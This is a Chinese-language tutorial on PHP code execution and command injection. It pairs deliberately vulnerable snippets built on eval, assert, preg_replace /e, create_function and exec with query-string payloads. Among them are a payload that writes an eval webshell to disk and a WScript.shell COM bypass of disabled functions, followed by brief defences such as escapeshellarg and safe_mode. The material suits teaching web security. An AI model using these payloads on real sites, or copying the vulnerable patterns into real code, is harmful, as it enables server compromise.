1. php 代码执行

eval

# 1. 没有任何过滤

@eval($_GET["cmd"]);

?>

visit: ?cmd=phpinfo();

?cmd=fputs(fopen('test.php','w'),'<?php @eval($_POST[test])?>')

# 2. addslashes 过滤

$cmd = @(string)$_GET["cmd"];

eval('$cmd="' . addslashes($cmd) . '";');

?>

# ${${}} 绕过

cmd=${${phpinfo()}}

# 3 引号包含过滤

$cmd = "echo \"hello " . $_GET['cmd'] . "\";";

eval($cmd);

# ${${}} 绕过

cmd=${${phpinfo()}}assert()

@assert($_GET["cmd"]);

?>

cmd=phpinfo();preg_replace + '/e'

# 1. parameter 1

# magic_quotes_gpc=Off时,导致代码执行。

$regexp = $_GET['reg'];

$var = 'phpinfo()';

preg_replace("/(.*?)$regexp", '\\1', $var);

?>

reg=%3C\/php%3E/e, 执行 phpinfo.

# 2. parameter 2

# 当replacement 参数构成一个合理的php 代码字符串的时候

# /e 修正符使preg_replace(),将replacement 参数当做php 代码执行

preg_replace("//e", $_GET['cmd'], "cmd test");

?>

cmd=phpinfo();

# 3. parameter 3

preg_replace("/\s*\[php\](.+?)\[\/php\]\s*/ies", "\\1", $_GET['h']);

?>

h=[php]phpinfo()[/php]call_user_func

call_user_func_array

create_function

$cmd = $_GET['cmd'];

$func = create_function('$arg1, $arg2', $cmd);

$func(1, 2);

?>

cmd=phpinfo();array_map

$evil_callback = $_GET['callback'];

$some_array = array(0, 1, 2, 3);

$new_array = array_map($evil_callback, $some_array);

?>

callback=phpinfo

2. php 执行系统命令

php能够执行系统命令的函数有:

assert,system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open,`(反单引号)

shell_exec()

string shell_exec ( string $cmd )

命令执行的输出。 如果执行过程中发生错误或者进程不产生输出,则返回 NULL。

system()

string system ( string $command [, int &$return_var ])

成功则返回命令输出的结果, 失败则返回 FALSE

exec()

string exec( string $command [, array &$output [, int &$return_var ])

返回命令执行结果的最后一行内容

$cmd = $_GET["cmd"];

$output = array();

echo "

";

exec($cmd,$output);

echo "

";

while(list($key,$value)=each($output))

{

echo $value."
";

}

?>

cmd=ifconfigpassthru

void passthru ( string $command [, int &$return_var ] )

直接将结果输出到游览器,不返回任何值

popen()

proc_open()

`(反撇号) 与 shell_exec 功能相同

$ php -r 'echo `ls -l`;'

2.1. 防御

php.ini

safe_mode = On #safe mode

safe_mode_exec_dir = /usr/local/php/bin/ #limit path

disable_functions="eval,phpinfo"使用escapeshellcmd()和escapeshellarg()函数阻止用户恶意在系统上执行命令

escapeshellcmd()针对的是执行的系统命令

escapeshellarg()针对的是执行系

2.2. 绕过

windows 组件绕过

# 防御:直接删除system32下的wshom.ocx文件

$command = $_POST[a];

$wsh = new COM('WScript.shell'); //生成一个COM对象

$exec = $wsh->exec('cmd.exe /c '.$command); //调用对象方法来执行命令

$stdout = $exec->StdOut();

$stroutput = $stdout->ReadAll();

echo $stroutput

?>

3. 防御

1、尽量不要执行外部命令

2、使用自定义函数或函数库来替代外部命令的功能

3、使用escapeshellarg函数来处理命令参数

4、使用safe_mode_exec_dir指定可执行文件的路径

esacpeshellarg函数会将任何引起参数或命令结束的字符转义,单引号“’”,替换成“\’”,双引号“"”,替换成“\"”,分号“;”替换成“\;”

用safe_mode_exec_dir指定可执行文件的路径,可以把会使用的命令提前放入此路径内

safe_mode = On

safe_mode_exec_dir = /usr/local/php/bin/

php %3cpre%3c pre%3e,PHP代码执行与命令注入相关推荐

  1. 代码执行与命令执行的区别

    代码执行与命令执行的区别 代码执行本质上是调用后端语言(PHP,JAVA--)来执行特定代码,而命令执行本质是调用系统的命令执行的接口,与对于的不同的语言无关,只与系统的版本有关. 代码执行相关函数 ...

  2. Java代码执行Linux命令

    说明:项目必须是部署在Linux服务器中才能生效. 1. 工具类 @Controller public class ExecuteNewFlowUtil {/*** 运行Linux命令* @autho ...

  3. java 代码执行linux命令

    远程执行linux命令代码 代码不是在服务器部署时,但是需要执行这个服务器的linux命令 maven库 <!-- https://mvnrepository.com/artifact/ch.e ...

  4. java代码执行linux命令_java执行Linux命令的方法

    本文实例讲述了java执行Linux命令的方法.分享给大家供大家参考.具体实现方法如下: public class StreamGobbler extends Thread { InputStream ...

  5. Linux中更新java代码命令,java代码执行linux命令

    1.容器需要先执行source命令,有权限限制的需要先打通互信. 2.复杂的shell命令,如重定向,需要传入数组. public void excuteLinuxCmd(String cmd) { ...

  6. “鑫胖”家的红星3.0系统被曝漏洞,可远程执行任意命令注入

    作为一个自主知识产权发展强国,朝鲜以极为高冷的姿态发展着电子科技行业,还有他们自己的操作系统.这款著名的RedStar OS 3.0名字虽然霸气,但安全性据说实在不怎么样.近日,黑客团队Hacker ...

  7. %3c php $str1=,ThinkPHP5.0.215.1.* 代码执行和命令执行漏洞利用

    5.0.21 ?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&v ...

  8. java代码执行linux命令_怎么用java代码运行linux命令

    展开全部 以下方法支持Linux和windows两个系统的命令行调用.还用到了apache的lang工具包32313133353236313431303231363533e78988e69d83313 ...

  9. Android 通过代码执行shell命令获取电量百分比

    shell 执行 adb shell dumpsys battery 命令,得到如下信息: 获取shell命令的返回值内容(以下 new ExeCommand().run("dumpsys ...

最新文章

  1. 纬度和日照时长的关系
  2. c3p0获取连接Connection后的Close()---释疑
  3. 恢复Win10照片查看器
  4. 红帽产品及技术总裁:未来IT趋势预测
  5. 2022年轻人潮流爱好报告:被朋友圈高赞的神秘爱好,不烧钱还能脱单
  6. RESTful 风格 API 接口文档模板
  7. 那些编程中遇到的常见英文缩写
  8. 利用NMDS对药物处理下肠道菌群微生物群落多态性分析
  9. c语言程序设计ppt算法,C语言程序设计算法.ppt
  10. 马云的教、马云的会、马云的墓
  11. 群晖 NAS DSM 系统,只要三步使用 Docker 安装迅雷远程下载
  12. 操作系统与网络实现 之二十三(丙)
  13. 2023年天津农学院专升本专业课报名缴费时间考试安排
  14. 架构之占位式插件化框架 --组件通信
  15. PON、EPON、GPON的区别
  16. php输出1到100的质数,怎么用PHP写出1到100的质数
  17. Cadence 计算器使用——settling time
  18. C++基础---空类型
  19. 01postman学习笔记记录
  20. 提高生产效率的几款工具

热门文章

  1. 【英语学习】【English L06】U04 Adventure L3 The city playground and some famous museums
  2. react中form可以嵌套一个form吗_Ant-Design从v3升级到v4的Form适配
  3. 理想化的 Redis 集群
  4. zend studio mysql 配置_php 在Zend Framework中配置数据库参数
  5. Object C语法快速入门
  6. Spark 中 File,Block,Split,Task,Partition,RDD概念的理解
  7. Redux技术架构简介
  8. 有关上次的字符串是否相等的比较
  9. 为什么网络安全领域需要更多的女性?
  10. HDU1048 The Hardest Problem Ever